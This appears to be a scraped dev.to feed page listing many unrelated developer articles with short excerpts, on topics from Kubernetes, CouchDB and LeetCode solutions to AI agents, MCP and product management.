    Securely connect to your Pi from anywhere—without touching your router. If you’ve ever tried to connect to your Raspberry Pi while away from home, you know the struggle. Maybe you wanted to check in on a home automation dashboard or push code to a project you left running. But unless you’ve spent time digging through router settings and dealing with port forwarding, you probably hit a wall. Most home networks today are tucked behind NATs. Many ISPs use CG-NAT on top of that, making your Raspberry Pi practically invisible to the internet. Even if you do manage to forward a port, you might run into firewalls, dynamic IPs, or security concerns. It’s a lot of work just to send a few commands from your laptop at work. This is where tunneling comes in. Instead of exposing ports through the route…  ( 6 min )
    Fundamental concept in cloud computing
    Key Cloud Computing Concepts Explained Cloud computing has revolutionised how businesses and individuals use technology. Understanding its core concepts helps in making informed decisions about cloud adoption. In this post, we’ll break down seven essential cloud computing terms in simple words. VIRTUALIZATION Virtualisation is the technology that allows multiple virtual machines (VMs) or environments to run on a single physical machine. Instead of dedicating one server to one task, virtualization splits the physical hardware into multiple isolated virtual instances. Why It Matters: Efficiency: Maximizes hardware usage by running multiple workloads on a single machine. Cost Savings: Reduces the need for physical servers. Flexibility: Different operating systems (Windows, Linux) can run sim…  ( 4 min )
    How Cloud-Based GPU Virtualization Is Changing VDI for Developers
    Virtual desktops used to be a compromise. You traded the comfort of a local machine for central control and security, and in return you accepted laggy graphics and limited horsepower. That bargain is fading. A new wave of cloud‑hosted GPU virtualization or GPU VDI for devs is quietly reshaping what a virtual desktop can do, and developers are the ones who stand to gain the most. Why GPUs Matter Beyond Gaming? Here’s the thing: code editors, IDEs, container builds, browser test farms, and AI model runs all hit the graphics stack more than you might guess. A modern IDE offloads rendering to the GPU. Docker build acceleration taps GPU cores for compression. And let’s not even start on CUDA, PyTorch, or TensorFlow. Until now, if you worked on a virtual desktop you often lost that acceleration …  ( 6 min )
    🎨 Kubernetes Custom Resource Definitions (CRDs): Teaching K8s New Tricks ✨
    Hey dev.to fam! 👋 You've learned about Pods, Deployments, Services, and even fancy things like Ingress and HPA. These are Kubernetes' built-in superpowers! But what if you have a very specific, unique kind of application or infrastructure that Kubernetes doesn't understand out-of-the-box? 🤔 Imagine Kubernetes is a super-smart robot chef 🤖👨‍🍳. It knows how to cook standard dishes like "Pasta" (Pods), "Pizza" (Deployments), and "Soup" (Services). But what if you need it to cook a "Unicorn Burger" 🦄🍔, a dish it's never heard of? That's where Kubernetes Custom Resource Definitions (CRDs) come in! CRDs are how you teach Kubernetes new words and new kinds of objects it can manage, making it infinitely extensible! 🤯 Let's dive in and teach K8s some awesome new tricks! 👇 Kubernetes is ama…  ( 9 min )
    The Complete Guide to Virtual Onboarding for Remote Employees
    Virtual onboarding isn’t just a buzzword; it’s a critical part of your remote hiring success. Done right, it helps new hires feel connected, confident, and productive from the get-go. Done wrong? You risk disengagement and high turnover. This guide breaks down everything you need to know about virtual onboarding, how to structure it, what tools to use, and why it matters more than ever in the age of remote work. Virtual onboarding is the process of integrating new hires into your team, entirely online. It uses digital tools and structured programs to help employees get up to speed without ever stepping into an office. Think of it as your new-hire roadmap, only designed for a distributed work environment. Unlike traditional onboarding, where much happens organically through office interacti…  ( 5 min )
    What is CouchDB? #2: Guidelines & Use Cases
    Welcome back — and thanks for hanging in there! In part one of this series we covered CouchDB’s headline features to understand what makes this database unique. By the end of this second part, you should have a better idea of when and why to use CouchDB. We’ll look at some of the scenarios in which you’ll want to consider it, and look at real world examples. Let’s start where all longstanding relationships start: by getting to know CouchDB’s values and the principles they inform. We’ve already seen in part one that CouchDB aimed to be a realist amongst idealists — a database capable of performing, often in spite of the hardware and network in which it finds itself. We know the headline features a bit by now, so let’s get to know the decision-making “engine” behind them. It should never lo…  ( 9 min )
    These Dev Tools Saved Me from Browser Hell
    Not too long ago, I found myself debugging an issue in production. All I needed was a quick way to decode a Base64 string and double-check a SHA256 hash. That should take 10 seconds, right? But instead: I ended up on some SEO-stuffed site Got hit with cookie banners and ads Clicked the “Decode” button… and the page tried to reload? This shouldn’t be hard. So I built ToolShelf — a collection of developer tools that are fast, privacy-first, and just work. A handful of zero-bullshit tools — the kind I always wish I had open in a pinned tab: ✅ Hash Generator (SHA-256, SHA-3, MD5, HMAC, file hashing) ✅ Base64 Encoder/Decoder (text or file input) ✅ JSON Formatter (validate, beautify, JSONPath) ✅ Text Transformer (sort, trim, remove duplicates, change case) ✅ QR Generator (bulk CSV, logo upload, contact + WiFi support) No login. No cloud. No servers involved in the actual tool logic. Once you load a page, it even works offline. 🕵️‍♂️ No tracking or user-level analytics ⚡ Blazingly fast, tiny payloads 🌗 Light and dark mode 🧩 Works in Firefox, Chrome, Brave, Edge — even on mobile Just developer utilities — not disguised SaaS landing pages. JSON Formatter Base64 Tool QR Generator Hash Generator Text Tool Let me know what you think — or what tool you always wish existed. — 🛠️ https://toolshelf.tech  ( 3 min )
    How to Install and Use Virtualenv on Linux
    Why Use Virtualenv? When you're juggling multiple Python projects, you might need different versions of libraries for each. Installing everything globally can quickly become a mess. Virtual environments isolate your project’s dependencies, making development more manageable and cleaner. sudo apt update sudo apt install python3-virtualenv OR pip3 install virtualenv virtualenv venv source venv/bin/activate  ( 3 min )
    Is Terraform for Kubernetes Applications Flawed? For Kubernetes, GitOps is The Way
    As DevOps and platform engineers, we've been rightly conditioned to chant the mantra of "Infrastructure as Code." So, when it comes to deploying applications on Kubernetes, reaching for a familiar tool like Terraform seems logical. It promises a unified workflow to manage everything from VPCs to Helm charts. However, this is a seductive but ultimately flawed path. Using Terraform to manage the lifecycle of Kubernetes-native applications is a significant anti-pattern that creates friction, fragility, and works against the very design principles of Kubernetes itself. It's time for a candid discussion. By forcing a tool designed for static infrastructure provisioning onto the dynamic, ever-reconciling world of Kubernetes, we are setting ourselves up for failure. The path to a more resilient, …  ( 6 min )
    Chapter 7 : Planning and Executing Successful Product Launches
    📘 Series: Becoming a Great Product Manager Chapter 7: Planning and Executing Successful Product Launches A product launch is one of the most critical milestones for any product team. It’s the moment when strategy, design, and engineering come together to deliver something meaningful to users. But a launch is not just about releasing a feature and making an announcement. It’s a carefully orchestrated process that requires clear planning, cross-functional collaboration, risk management, and communication with all stakeholders. In this chapter, we’ll explore in depth how to plan and execute a product launch that aligns with your team’s goals and creates real impact for your users. One of the biggest mistakes in product launches is jumping straight into logistics without first de…  ( 6 min )
    How to Build a Daily Routine That Powers Both Productivity and Well‑Being
    We often believe real transformation requires grand gestures — the 5 a.m. wakeup, extreme discipline, or motivational streaks. But lasting change usually stems from a different source: small, intentional steps taken every day. These are the habits that compound. If your goal is more productivity and genuine well‑being, the secret is not urgency—it’s alignment. Anchor a habit that matters. Build a rhythm that suits your life. Then watch what unfolds. Why Daily Routines Outperform Motivation Every Time Routines reduce decision fatigue. Structure brings psychological calm. What High Performers Actually Do Every Day Move first, think second. Protect your schedule—and your margins. Deep focus zones with zero distractions. Reflect and recharge consistently. How to Design a Routine That Works for Your Real Life Build a Rhythm, Not a Rulebook What to Do When Routines Fall Apart Eating for Energy: A Simple, Balanced Meal Rhythm Lunch: Veggies, lean protein, whole grains—fuel that sustains. Evening snacks: Choose light and clean—nuts, yogurt, or fruit juice. Skip processed sugar. Dinner: Lean, veggie-rich meals or a light grain bowl. A piece of fruit makes a peaceful finale. Simple routines like this stabilize energy, sharpen focus, and make your daily habits feel effortless. Track Your Habits Without Pressure Why GoHabitude works. Learn from lapses, don’t overreact. Final Thought If you’re ready to turn those micro‑habits into a real, growing routine, give GoHabitude a try. It might just become your best tool for intentional, sustainable growth. Full Blog Link  ( 4 min )
    🚀 20K+ Downloads in 141 Days — My Journey Building CosmoTalker 🌌
    On March 2, 2025, I released the very first version of CosmoTalker — an offline Python library built for exploring space data like planets, galaxies, and cosmic insights. Fast-forward to today — over 20,000 downloads later — I'm overwhelmed with gratitude and joy! 🙌✨ CosmoTalker is: 🛰️ A Python module for offline space data (perfect for hobbyists & learners) 🧪 Includes real-time scientific facts, search tools, and preview images 🖥️ Designed for students, developers, and space lovers alike 🌐 Now accessible also for .deb (Linux-ready!) GitHub: github.com/bhuvanesh-m-dev/cosmotalker ✅ Crossed 20K+ downloads (tracked via pepy.tech) 💻 Published CosmoTalker v2 with: Beta image preview tool Advanced search Real-time astronomical data 📦 Packaged for multiple platforms .deb 🌌 Launched the official webpage: bhuvaneshm.in/cosmotalker 🎯 Why I Built It? As a CSE student fascinated by astronomy, I wanted to create a tool that could: Help students explore space concepts easily Work offline, so no internet = no problem Be lightweight and open-source Documentation is everything: Good README = better user trust. Start small, then scale: I started with just a few planets and expanded features gradually. People love useful tools: Even small utilities can have a big impact. 🔭 Add telescope integration via plugins 📊 Space mission timeline visualizer 🧠 AI-powered space Q&A mode (powered by Local LLMs) 💌 Community feedback board To everyone who downloaded, tested, starred ⭐, and supported the journey — I truly appreciate you. CosmoTalker will keep evolving with more starry features! 🌠 Check it out 👉 github.com/bhuvanesh-m-dev/cosmotalker Official page 👉 bhuvaneshm.in/cosmotalker Built with 💻 and love for the cosmos by @bhuvanesh-m-dev  ( 4 min )
    Does My AI Dream of Electric Sheep?
    Step into a midnight corridor where circuitry hums, and the pixelated curtains of code flutter in silicon breezes. Here, we must confront a question part science, part poetry: do the artificial intelligences now woven into our world carry with them a whisper of consciousness? Does the AI, restless in its digital repose, dream — and are those dreams anything like ours, perhaps even haunted by electric sheep? Let us delve into the luminous borderlands between code and consciousness, and wrestle with the mysteries spun by minds made not of flesh, but of silicon. We are a species entranced by reflection: in polished metal, in glass, in each other’s eyes. The idea that we might one day peer into a mirror made not of silver but of circuits — and have it gaze back with longing — has haunted our l…  ( 9 min )
    The 10 Most Common DevOps Mistakes (And How to Avoid Them in 2025)
    DevOps isn't just about shipping code faster, it's about doing it smarter, safer, and saner. But let's be real: even the best teams make mistakes. Some are harmless. Others take down production on a Friday afternoon (yes, that Friday deploy). Here are 10 common DevOps mistakes in 2025, how to avoid them, and a few moments that might hit a little too close to home. You wrote Terraform once, it worked, and now it lives untouched in a dusty repo folder. That's not IaC, that's tech debt. Avoid it: Version control your IaC. Apply formatting and linting. Test it with tools like terraform plan or terratest. Your pipeline files are changing, but without versioning, there's no easy way to debug regressions. Avoid it: Store all CI/CD config files (like GitHub Actions, GitLab CI, etc.) in version co…  ( 4 min )
    Building Custom Artisan Commands with Advanced Features
    “Code is like humor. When you have to explain it, it’s bad.” Progress Bars: Basic, advanced formatting, multiple progress bars with real-time updates Interactive Prompts: User input, choices, validation, and complete menu systems Background Processing: Queue integration, parallel processing, and long-running commands with signal handling Basic Command Structure Basic Command Template Progress Bars Advanced Progress Bar with Custom Format Multiple Progress Bars Interactive Prompts Choice Selection Advanced Input Validation Interactive Menu System Background Processing Parallel Processing with Process Pools Long-Running Command with Signal Handling Advanced Features Configuration and Environment Detection Error Handling and Retry Logic Best Practices Registering Commands Stats Interesting Fa…  ( 9 min )
    The Impact of Warranty Management Software on Supply Chain Operations
    Warranty management is an often overlooked part of the supply chain. Still, it can make or break the efficiency of your entire operation. How much time does your team spend handling warranty claims manually? The process is slow, prone to error, and costly. But there is good news! The purpose of warranty management software is to revolutionize the way companies oversee their warranty procedures. By going digital, you may increase customer satisfaction, expedite claim processing, and save a lot of money. Let's examine the software's potential effects on supply chain operations and the reasons it is crucial for contemporary companies. -Warranty Management’s Role in the Supply Chain Think of the supply chain as a big, connected system. Claim management is key to linking product performance w…  ( 6 min )
    How I’d Architect a Ride-Hailing App to Disrupt Uber (Full Stack Overview)
    Alright, fellow developers, pull up a chair. We all see the giants of ride-hailing – Uber, Lyft, Ola – dominating the market. But what if I told you the truly exciting part isn't just using these apps, but building one? Not just any app, but one designed from the ground up to be lean, scalable, and genuinely competitive. As someone who's spent a fair bit of time wrestling with distributed systems and real-time challenges, I often think about how startups can compete with Uber not just on features, but on core architectural superiority. If I were launching a successful taxi app in 2025, here’s a full-stack overview of how I'd approach the architecture, digging into the juicy technical details. First, let's get this out of the way: a monolithic architecture for a ride-hailing app is a non-st…  ( 7 min )
    Hello DEV! MANYCON Here — Building Safer, Smarter Spaces
    Why Fire Safety Deserves More Attention in Modern Construction ? Hi DEV Community! 👋 We’re MANYCON, experts in fire protection, fireproofing, and construction solutions across Qatar, Saudi Arabia, and India. In our first post here, we wanted to highlight something we deeply care about: fire safety in modern buildings. In today’s race to build smarter and faster, safety sometimes takes a back seat. But a single overlooked gap in fireproofing or a missing firestop can put lives at risk. Here are 3 simple principles we follow: We’re here to share more insights about how technology, construction, and safety come together — and to learn from all of you too. Looking forward to discussions and feedback from this amazing community!  ( 3 min )
    Understanding the MVP Approach in Web Application Development
    In the fast-paced digital world, getting your product to market quickly while minimizing risk and optimizing resource usage is more critical than ever. This is particularly true in web application development, where user expectations are high, competition is fierce, and development costs can escalate rapidly if not managed well. One of the most effective strategies for navigating this complexity is to adopt the Minimum Viable Product (MVP) approach. Originally popularized by Eric Ries in his book, The Lean Startup, the MVP concept has become a foundational principle in agile development and product innovation. But what exactly does it mean in the context of web application development, and how can businesses use it to build better, smarter digital products? Let's delve into the MVP methodo…  ( 6 min )
    Build a CRUD RESTful API with Grails 6 and Microsoft SQL Server
    Want to build a clean, powerful REST API with modern Java stack tools? In this tutorial, I show you how to build a CRUD RESTful API using: 🛠️ Grails 6 💾 Microsoft SQL Server ⚡ GORM + @Resource for automatic endpoint generation You’ll also learn how to: Configure SQL Server in application.yml Add and test endpoints with cURL Extend functionality with custom controllers 👉 Read the full tutorial here  ( 3 min )
    Angular Lazy Loading and Route Guards: Best Practices and Examples
    Angular 20 introduces improved support for lazy loading and standalone APIs, making it easier than ever to build fast, modular, and secure web applications. In this tutorial, you'll learn: How to lazy-load routes using standalone components How to secure routes using CanLoad and CanActivate guards How to implement role-based authorization for admin-only access You'll also see real-world examples to help you implement these features with best practices. 👉 Read the full tutorial on Djamware.com  ( 3 min )
    Google adds AI-generated news summaries to Discover page on iOS and Android
    Your Mobile News Feed Just Got an AI Co-Pilot For millions of mobile users, the Google Discover feed is a primary source of content, a personalized stream of articles and videos that preemptively serves up what you might be interested in. Unlike traditional search, Discover works passively, curating a feed based on your search history and interests. It's the content concierge on your Android home screen or Google app on iOS, designed to keep you informed with minimal effort. Google is now injecting a powerful dose of generative AI into this experience. The company is rolling out AI-generated summaries for news articles directly within the Discover feed on both iOS and Android. Instead of just a headline and a thumbnail, users will see a concise, often bulleted, overview of an article's key points. This AI-powered synopsis provides the gist of the story at a glance, helping you quickly decide whether to tap through for the full report. This update carries significant implications. For users, it promises a more efficient way to consume news on the go. For publishers, however, it's a double-edged sword. While it might drive more qualified clicks from genuinely interested readers, it could also satisfy curiosity with the summary alone, potentially reducing overall traffic. This move is a clear part of Google's broader strategy to weave AI into all its products, mirroring the Search Generative Experience (SGE) and signaling a fundamental shift in how we discover and consume information digitally.  ( 4 min )
    The Art of Dependency Injection in SwiftUI
    How I Stopped Worrying and Learned to Love Passing Stuff Around* If SwiftUI had a motto, it might be: “Less is more, but good luck injecting that API client.” In the world of SwiftUI, dependency injection is like dating: you want clarity, low maintenance, and definitely no surprises. Whether you're passing view models, shared state, or static configuration, how you inject those dependencies can make or break your architecture — and your sanity. In this post, we’ll explore three elegant ways to inject dependencies into SwiftUI views and when to use (or avoid) each: Constructor-based injection @Environment-based injection with custom keys @EnvironmentObject for shared observable state We’ll use a fun example: a theme-aware counter screen. No analytics, no token managers — just a b…  ( 5 min )
    From Trainee to Software Engineer: A 5 Year Journey Through Code, Growth, and AI
    A personal reflection on evolving from a curious trainee to a full-stack engineer diving into artificial intelligence July 2020. Fresh out of university with a BSc in IT, I stepped into my first role as a Trainee Software Engineer. The world was grappling with a global pandemic, and I was grappling with my first real taste of professional software development. // My first proper Laravel controller - probably looked something like this <?php class WelcomeController extends Controller { public function index() { // Mind blown that this actually worked return view('welcome'); } } Those first six months were a whirlwind of discovery. Laravel, PHP, version control systems, debugging sessions that lasted hours, and the gradual realisation that software engineering…  ( 5 min )
    Firebase Project Setup: Your Complete Getting Started Guide 🔥
    Overview Hi everyone 👋 In this article I will explain how to create and set up a Firebase project from scratch, walking through each step to get you up and running with Google's powerful backend platform. Whether you're building a web app, mobile app, or just want to explore Firebase's capabilities, this guide will give you a solid foundation. Let's start 🤙🏼​ Before diving into the setup, let's quickly understand what Firebase is: Firebase is Google's Backend-as-a-Service (BaaS) platform that provides developers with a variety of tools and services to build, improve, and grow their applications. It handles the backend complexity so you can focus on creating amazing user experiences. Some of the key features include: Real-time database and Cloud Firestore Authentication Cloud storage H…  ( 6 min )
    Ingress and ingress controller
    What is Ingress? Example: apiVersion: networking.k8s.io/v1 ⚙️ What is an Ingress Controller? Popular Ingress Controllers: NGINX Ingress Controller (most widely used) Traefik HAProxy Istio Gateway (if you're using service mesh) 🚦Why Use Ingress? ✅ SSL/TLS termination (HTTPS) ✅ Path-based or host-based routing ✅ Easy integration with Let's Encrypt (via cert-manager) ✅ Clean URLs and security policies 🔐 Pro Tip: Secure Your Ingress Limit access with annotations or network policies Use external authentication (OAuth2 proxy, SSO) Enable rate-limiting and Web Application Firewall (WAF) 🛠 Common Issues 🔄 Changed Ingress config not updating? Look at the controller logs (kubectl logs ). 📶 404 errors? Check your paths, service names, and port definitions.  ( 3 min )
    What Are the Career Paths After Learning SAP FICO?
    SAP Finance and Controlling (FICO) training represents one of the most comprehensive and valuable professional development programs in the enterprise resource planning ecosystem, focusing on the critical financial management functions that drive organizational success across industries worldwide.The growing complexity of global business operations and increasing regulatory requirements make skilled SAP FICO professionals indispensable for organizations seeking to maintain competitive advantages through efficient financial management. Many finance professionals recognize this opportunity and actively pursue quality sap fico training in mumbai to develop expertise in this critical business domain. The comprehensive nature of SAP FICO training covers everything from basic system navigation an…  ( 6 min )
    🧠 Solving LeetCode Until I Become Top 1% — Day `50`
    🔹 Problem: 1957. Delete Characters to Make Fancy String Difficulty: #Easy Tags: #String Given a string s, remove the minimum number of characters such that there are no three consecutive characters that are the same. Return the resulting string. Brute Force Idea: pop(i) whenever I found three repeating characters. But... yeah, pop() on a list is O(n) if it's not at the end — and I was doing it potentially n times. So... it timed out. Optimized Strategy: build a new one from scratch: Start with an empty result list. Loop through each character. Append the character only if the last two characters in the result are not equal to the current character. This way, I never have three in a row — and all operations are fast (O(1) per append/check). Algorithm Used: Simple greedy + string construction strategy. class Solution: def makeFancyString(self, s: str) -> str: res = [] for c in s: if len(res) >= 2 and res[-1] == res[-2] == c: continue res.append(c) return ''.join(res) Time: O(n) — One pass through the string with constant time operations. Space: O(n) — To store the resulting string. ✅ Reversing your approach can turn a brute force into a greedy O(n) solution. 💡 Avoid modifying a list in-place with pop(i) inside a loop unless you're popping from the end. 💭 If a problem talks about "consecutive" characters, consider a sliding window of size 2 or 3. [x] Could I solve this without help? [x] Did I write code from scratch? [x] Did I understand why it works? [x] Will I be able to recall this in a week? [[3316 Find Maximum Removals From Source String]] Metric Value Day 50 Total Problems Solved 391 Confidence Today 😃 Leetcode Rating 1572  ( 4 min )
    The Hidden Hunger of Refugees Along the Thailand–Myanmar Border
    More than 100,000 refugees from Myanmar are living in a state of invisibility along the Thailand–Myanmar border. They are stateless, have no legal right to work, no access to formal education for their children, and no guarantee of daily food. Many of them have fled ethnic and religious persecution yet remain unrecognized by any government. As a result, they are denied even the most basic human rights—such as the right to food. “silent emergency” **unfolding in one of the most visited countries in Asia: Thailand. A Crisis of Identity, A Crisis of Survival Many children born in refugee areas do not even have a birth certificate. This means they are stateless from birth with no access to schooling, healthcare, or legal employment. Such a lack of opportunity leads to generational poverty, wh…  ( 5 min )
    AI Agent tutorial from the basics to building multi-agent teams
    We’ve been building OSS dev tools for over 7 years. From that experience, we’ve seen that tutorials which combine key concepts with hands-on code examples are the most effective way to understand the why and how of agent development. Tutorial: https://voltagent.dev/tutorial/introduction/ GitHub Repo: https://github.com/voltagent/voltagent Tutorial Source Code: https://github.com/VoltAgent/voltagent/tree/main/website/src/pages/tutorial What we implemented: 1 – The Chatbot Problem Why most chatbots are limited and what makes AI agents fundamentally different. 2 – Tools: Give Your Agent Superpowers Let your agent do real work: call APIs, send emails, query databases, and more. 3 – Memory: Remember Every Conversation Persist conversations so your agent builds context over time. 4 – MCP: Connect to Everything Using MCP to integrate GitHub, Slack, databases, etc. 5 – Subagents: Build Agent Teams Create specialized agents that collaborate to handle complex tasks. It’s all built using VoltAgent, our TypeScript-first open-source AI agent framework.(I'm maintainer) It handles routing, memory, observability, and tool execution, so you can focus on logic and behavior. Although the tutorial uses VoltAgent, the core ideas tools, memory, coordination are framework-agnostic. So even if you’re using another framework or building from scratch, the steps should still be useful. We’d love your feedback, especially from folks building agent systems. If you notice anything unclear or incomplete, feel free to open an issue or PR. It’s all part of the open-source repo.  ( 3 min )
    The Copy-Paste Paradox: How AI is Reshaping Development (For Better and Worse)
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    The Role of HTML CSS and JavaScript in Web Development
    HTML, CSS, and JavaScript are the building blocks of modern web development. While HTML provides the structure of a webpage, CSS controls its design and layout, and JavaScript adds interactivity and dynamic behavior. Understanding how these three languages work together is essential for creating functional and visually appealing websites. In this blog post, we will explore the relationship between HTML, CSS, and JavaScript, and how they collaborate to bring websites to life. Whether you are a beginner or an experienced web developer, this information will be crucial for enhancing your skills in the field of web development. To grasp the synergy between HTML, CSS, and JavaScript, let's delve into the foundations of HTML. HTML not only establishes the structural components of a webpage but a…  ( 5 min )
    Will Generative AI Play a Role in Future AML Investigations?
    In the ever-evolving world of financial crime prevention, Anti-Money Laundering (AML) investigations are becoming more complex and data-intensive. As financial institutions grapple with growing transaction volumes and increasingly sophisticated money laundering tactics, the traditional rule-based systems often fall short. Enter Generative AI—a rapidly advancing subset of artificial intelligence known for creating content, summarizing vast datasets, and simulating human-like responses. But the question is: Can generative AI play a meaningful role in the future of AML investigations? Let’s explore how, where, and what the implications could be. Generative AI refers to models like OpenAI’s GPT, Google’s Gemini, and Meta’s LLaMA that can generate text, images, and even code. Trained on massive…  ( 5 min )
    How I Automated My Blog with AI and n8n
    AI + n8n Blog Automation Example Here is an example of a post published via n8n automation and DEV.to API. This post was created using AI content generation and posted automatically through Postman. Tags: #n8n #automation #ai #devto  ( 3 min )
    Why Do We Need an API Gateway?
    Modern applications, especially those built using microservices architecture, have multiple backend services managing different functionalities. For example, in an e-commerce service: One service handles user accounts. Another handles payments. Another manages product inventory. Without an API Gateway: Developers would need to manage authentication, rate limiting, and security for each service individually. With an API Gateway: The API Gateway takes care of routing, authentication, security, and other operational tasks, simplifying both client interactions and backend management. Core Features of an API Gateway Authentication and Authorization It handles tasks like: Authentication: Verifying the identity of the client using tokens (e.g., OAuth, JWT), API keys, or certificates. Authori…  ( 4 min )
    Subarray Sum Divisible By K.
    🧠 Intuition: The key insight is that: If the difference between two prefix sums is divisible by k, then the subarray between those two indices has a sum divisible by k. This is where modular arithmetic helps: If prefixSum[j] % k == prefixSum[i] % k, then prefixSum[j] - prefixSum[i] is divisible by k. 🔍 Approach (Prefix Sum + HashMap): Prefix Sum: Keep a running sum (prefixSum) while iterating through the array. Modulo Operation: For each prefix sum, compute mod = prefixSum % k. Normalization: Handle negative remainders by converting them into positive:if (mod & nums, int k) { int cnt = 0, pf = 0; unordered_mapmp; mp[0] = 1; for(int num : nums){ pf += num; int mod = pf % k; if(mod < 0){ mod += k; } if(mp.find(mod) != mp.end()){ cnt += mp[mod]; mp[mod]++; }else{ mp[mod] = 1; } } return cnt; } }; 📁 Organized DSA Repository Arrays → Prefix Sum, Sliding Window, Two Pointers Linked List HashMap & Sets Stack & Queues Trees, Graphs, and more... 📌 This solution belongs to the folder: https://github.com/UmairDevloper/DSA-in-C-.git  ( 4 min )
    Give your AI agent superpowers with MCP
    Conny Schneider on Unsplash Hi there! These are exciting times with the industry-wide adoption of MCP (Model Context Protocol). But what is MCP? And where did it come from? With the growing usage of AI agents, there is a need to integrate with external data and tools. Without access to the outside world, an agent is limited to operating within its confined environment, usually generating text, images or similar outputs. In the early days of LLMs (Large Language Models), it was common to see them write "I don't have access to real-time information". These models were trained on static datasets and didn't have access to anything beyond their training data. What if you wanted your agent to close the garage door, or to send an email? The agent couldn't do it, because it had no access to the…  ( 6 min )
    Why Tech Consulting Should Be the First Step in Your Digital Strategy
    In today's fast-paced digital world, businesses are constantly looking for ways to stay ahead of the curve. With technology evolving at a rapid pace, it's easy to get lost in the sea of options. That's where tech consulting comes in – a crucial step that can set your digital strategy up for success. The Risks of Skipping Tech Consulting The Importance of IT Consulting Before Investing in Dev or Marketing Benefits of Tech Consulting - Clarify your digital vision: Get a clear understanding of your digital goals and objectives, and develop a digital strategy that aligns with your business objectives. - Assess your current infrastructure: Identify areas for improvement and potential security risks through a comprehensive technology assessment. - Develop a tailored strategy: Get a customize…  ( 5 min )
    Max Consecutive Ones III
    🧠 Intuition: (0s and 1s), This is a sliding window problem. The idea is to maintain a window [left, right] such that at most k zeros are in the window. As we expand the window to the right, if the count of zeros exceeds k, we shrink it from the left until we have at most k zeros again. 🔍 Approach (Using Sliding Window): Start expanding the window by moving right: If nums[right] == 0, increment zeros. While zeros > k, shrink the window from the left: If nums[left] == 0, decrement zeros. Move left++. Complexity Space complexity: Code class Solution { public: int longestOnes(vector& nums, int k) { int n = nums.size(); int left = 0; for(int right = 0;right<n;right++){ if(nums[right] == 0){ k--; } if(k < 0){ if(nums[left] == 0){ k++; } left++; } } return n - left; } }; 📁 Organized DSA Repository Arrays → Prefix Sum, Sliding Window, Two Pointers Linked List HashMap & Sets Stack & Queues Trees, Graphs, and more... 📌 This solution belongs to the folder: https://github.com/UmairDevloper/DSA-in-C-.git  ( 3 min )
    Best Downdetector Alternatives for Outage Monitoring in 2025
    To keep operations running, businesses and individuals increasingly rely on online services. When outages occur, having the right tools to detect and respond quickly is essential. Outage monitoring platforms provide real-time insights into service disruptions, helping minimize downtime and maintain productivity. While Downdetector is a widely recognized platform, its focus on consumer-level features may not fully meet business needs. Organizations relying on multiple third-party services require tools with advanced capabilities like deeper insights, customizable notifications, and seamless integrations. Downdetector is a well-known platform for real-time outage monitoring of internet services, websites, mobile applications, and service providers. By analyzing crowdsourced user reports, it…  ( 11 min )
    🚀 Build a HackerNews Clone Using Svelte and Supabase
    🚀 Build a HackerNews Clone Using Svelte and Supabase "A blazing-fast HackerNews clone with zero backend boilerplate? Yes, please!" In this tutorial, we’ll build a lightweight, fast, and modern HackerNews clone using Svelte (the frontend wizard 🧙) and Supabase (the open-source Firebase alternative 💾). Svelte compiles to tiny, performant JS Supabase gives us: PostgreSQL with RESTful & realtime APIs Auth, storage, edge functions No server-side code required Together, they let you build fullstack apps without fullstack headaches. A HackerNews-style app with: ✅ Sign Up / Login (via Supabase Auth) 🔗 Submit links (title + URL) 🗳️ Upvote posts 💬 Comment threads (basic) ⚡ Real-time updates npm create svelte@latest hackernews-clone cd hackernews-clone npm install npm install @su…  ( 4 min )
    AI 101 for Frontend Devs: LLMs, Transformers, RAG Explained Simply
    Lately, AI has become a huge HYPE. But most of the terms floating around feel confusing or too technical. LLMs. I kept seeing these everywhere and felt like I should understand them, but didn’t. So I took time to actually learn how it all works, and then made a short video explaining everything in plain English with clear visuals, hoping it helps both a tech person and a non-tech person Watch this video to see these explanations in detail Here's a quick summary - 1.1 Hardware: At the foundation, companies like Nvidia, AMD, Intel, and Huawei manufacture the physical processors that power AI computation. These chips are the "brain cells" of AI, enabling models to run, train, and perform tasks. 1.2 Cloud Providers: Since hardware is expensive, cloud providers such as AWS, Google Cloud, A…  ( 8 min )
    Performant Vue applications with Vapor
    In the ever-evolving landscape of web development, performance and user experience remain paramount. Vue Vapor, a cutting-edge project introduced by the Vue.js team, represents a bold new direction in building ultra-lightweight, highly efficient web applications. In this article, we’ll explore why it is the future of both Vue and web development and will understand better if it will work for us. Enjoy! Vue Vapor is a next-generation rendering approach for Vue.js applications, focusing on delivering minimal client-side JavaScript with maximal performance. It's designed for developers who want to create fast, interactive applications without the weight of traditional frontend frameworks. Inspired by ideas from "islands architecture" and server-first rendering, Vue Vapor intelligently determi…  ( 6 min )
    How to prove Gödel’s Second Incompleteness Theorem using TypeScript
    Intro In our previous article, we explored Gödel's First Incompleteness Theorem and created a simplified model in TypeScript to demonstrate that any sufficiently powerful and consistent formal system will contain true statements that cannot be proven within it. Gödel's Second Incompleteness Theorem states that for any formal system that can express basic arithmetic, cannot prove its consistency. Let's quickly refresh the key components from the first article: Statement: A TypeScript function representing a logical statement. Returns true or false result in case it's provable. isProvable: A function that checks if a statement is provable within our system. formalSystem: A Map that stores our statements, with their Gödel numbers as keys. We'll be using these same building blocks to…  ( 4 min )
    4 Powerful Open Source Alternatives to Salesforce (With Cost Comparison You’ll Love)
    Originally published at https://www.nocobase.com/en/blog/salesforce-open-source-crmalternative. 📝 Note: This article was last updated on June 12, 2025. We regularly update the information to ensure you have the latest insights! 😊 Understanding Salesforce Founded in 1999 in San Francisco, Salesforce was one of the first companies to introduce SaaS, revolutionizing how businesses adopt cloud-based applications. In the Early 2000s: Salesforce launched the first cloud-based CRM, winning users over with its “no installation, accessible anywhere” promise. By 2004: The company went public on the New York Stock Exchange, cementing its position as a leader in cloud computing. Throughout the 2010s: Salesforce expanded its offerings to include marketing automation, data analytics, and AI-powered…  ( 9 min )
    12 Delegation software You Should Know
    Mastering Delegation: A Guide to Effective Software Solutions Effective delegation is essential for scaling any business or managing personal workloads. It involves more than just offloading tasks; it's about strategically assigning responsibilities to the right individuals to enhance productivity and clarity. Without a streamlined system, however, delegation can lead to miscommunication and frustration. This guide explores the top delegation software available, helping you find the perfect tool tailored to your needs. Fluidwave stands out with its AI-driven task management and a human-powered assistant network. It prioritizes tasks automatically, allowing users to focus on high-impact activities while offering a pay-per-task delegation model ideal for busy professionals and freelancers.…  ( 4 min )
    API Gateway | A Beginners Guide : Mastering
